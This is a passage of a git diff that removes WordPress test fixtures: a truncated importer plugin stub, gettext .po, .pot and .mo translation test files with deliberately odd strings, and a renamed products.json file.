-* `import_start`: occurs after the export file has been uploaded and author import settings have been chosen
-* `import_end`: called after the last output from the importer
diff --git a/tests/data/plugins/wordpress-importer/wordpress-importer.php b/tests/data/plugins/wordpress-importer/wordpress-importer.php
deleted file mode 100644
index bdea4c4..0000000
--- a/tests/data/plugins/wordpress-importer/wordpress-importer.php
+++ /dev/null
@@ -1,60 +0,0 @@
-posts, pages, comments, custom fields, categories, and tags from a WordPress export file.', 'wordpress-importer'), array( $GLOBALS['wp_import'], 'dispatch' ) );
-}
-add_action( 'admin_init', 'wordpress_importer_init' );
diff --git a/tests/data/pomo/bad_nplurals.mo b/tests/data/pomo/bad_nplurals.mo
deleted file mode 100644
index d2aef43..0000000
Binary files a/tests/data/pomo/bad_nplurals.mo and /dev/null differ
diff --git a/tests/data/pomo/bad_nplurals.po b/tests/data/pomo/bad_nplurals.po
deleted file mode 100644
index c24342f..0000000
--- a/tests/data/pomo/bad_nplurals.po
+++ /dev/null
@@ -1,18 +0,0 @@
-msgid ""
-msgstr ""
-"Project-Id-Version: bbPress 1.0.4 alpha\n"
-"POT-Creation-Date: \n"
-"PO-Revision-Date: 2008-12-26 17:07+0100\n"
-"Last-Translator: Fernando Tellado \n"
-"Language-Team: ayudawordpress.com \n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=utf-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"X-Poedit-Language: spanish\n"
-"X-Poedit-Country: spain\n"
-"Plural-Forms: nplurals=2; plural=n !=1;\\n\n"
-
-msgid "%d forum"
-msgid_plural "%d forums"
-msgstr[0] "%d foro"
-msgstr[1] "%d foros"
diff --git a/tests/data/pomo/context.mo b/tests/data/pomo/context.mo
deleted file mode 100644
index a94a040..0000000
Binary files a/tests/data/pomo/context.mo and /dev/null differ
diff --git a/tests/data/pomo/de_DE-2.8.mo b/tests/data/pomo/de_DE-2.8.mo
deleted file mode 100644
index 7e9334c..0000000
Binary files a/tests/data/pomo/de_DE-2.8.mo and /dev/null differ
diff --git a/tests/data/pomo/empty.po b/tests/data/pomo/empty.po
deleted file mode 100644
index e69de29..0000000
diff --git a/tests/data/pomo/mo.pot b/tests/data/pomo/mo.pot
deleted file mode 100644
index 6e6e50b..0000000
--- a/tests/data/pomo/mo.pot
+++ /dev/null
@@ -1,25 +0,0 @@
-# SOME DESCRIPTIVE TITLE.
-# Copyright (C) YEAR WordPress
-# This file is distributed under the same license as the PACKAGE package.
-# FIRST AUTHOR , YEAR.
-#
-#, fuzzy
-msgid ""
-msgstr ""
-"Project-Id-Version: PACKAGE VERSION\n"
-"Report-Msgid-Bugs-To: wp-polyglots@lists.automattic.com\n"
-"POT-Creation-Date: 2009-06-28 11:07+0000\n"
-"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
-"Last-Translator: FULL NAME \n"
-"Language-Team: LANGUAGE \n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=CHARSET\n"
-"Content-Transfer-Encoding: 8bit\n"
-
-#: wp-admin/includes/continents-cities.php:7
-msgid "Africa"
-msgstr ""
-
-#: wp-admin/includes/continents-cities.php:8
-msgid "Abidjan"
-msgstr ""
diff --git a/tests/data/pomo/overload.mo b/tests/data/pomo/overload.mo
deleted file mode 100644
index 87ca72e..0000000
Binary files a/tests/data/pomo/overload.mo and /dev/null differ
diff --git a/tests/data/pomo/plural.mo b/tests/data/pomo/plural.mo
deleted file mode 100644
index c838ad5..0000000
Binary files a/tests/data/pomo/plural.mo and /dev/null differ
diff --git a/tests/data/pomo/simple.mo b/tests/data/pomo/simple.mo
deleted file mode 100644
index 18ca12d..0000000
Binary files a/tests/data/pomo/simple.mo and /dev/null differ
diff --git a/tests/data/pomo/simple.po b/tests/data/pomo/simple.po
deleted file mode 100644
index 114febd..0000000
--- a/tests/data/pomo/simple.po
+++ /dev/null
@@ -1,54 +0,0 @@
-msgid ""
-msgstr ""
-"Project-Id-Version: WordPress 2.6-bleeding\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-
-msgid "moon"
-msgstr ""
-
-msgctxt "brum"
-msgid "strut"
-msgid_plural "struts"
-msgstr[0] "ztrut0"
-msgstr[1] "ztrut1"
-msgstr[2] "ztrut2"
-
-msgid ""
-"The first thing you need to do is tell Blogger to let WordPress access your "
-"account. You will be sent back here after providing authorization."
-msgstr "baba\n"
-"dyado"
-"gugu"
-
-msgctxt ""
-"con"
-"text"
-msgid ""
-"sing"
-"ular"
-msgid_plural ""
-"plu"
-"ral"
-msgstr[0] ""
-"trans"
-"lation0"
-msgstr[1] ""
-"trans"
-"lation1"
-msgstr[2] ""
-"translation2"
-
-
-
-# baba
-#: wp-admin/x.php:111 baba:333
-#. translators: buuu
-# brubru
-#, fuzzy
-#: baba
-msgid "a"
-msgstr ""
-
-msgid "a\""
-msgstr ""
-
diff --git a/tests/data/pomo/windows-line-endings.po b/tests/data/pomo/windows-line-endings.po
deleted file mode 100644
index 79b05c2..0000000
--- a/tests/data/pomo/windows-line-endings.po
+++ /dev/null
@@ -1,7 +0,0 @@
-msgid ""
-msgstr ""
-"Project-Id-Version: Windows 3.11\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-
-msgid "moon"
-msgstr "yuhu"
diff --git a/tests/json/products.json b/tests/data/products.json
similarity index 100%
rename from tests/json/products.json
rename to tests/data/products.json
diff --git a/tests/data/templates/template.html b/tests/data/templates/template.html
deleted file mode 100644
index f792c12..0000000
--- a/tests/data/templates/template.html
+++ /dev/null
@@ -1,3 +0,0 @@
-
-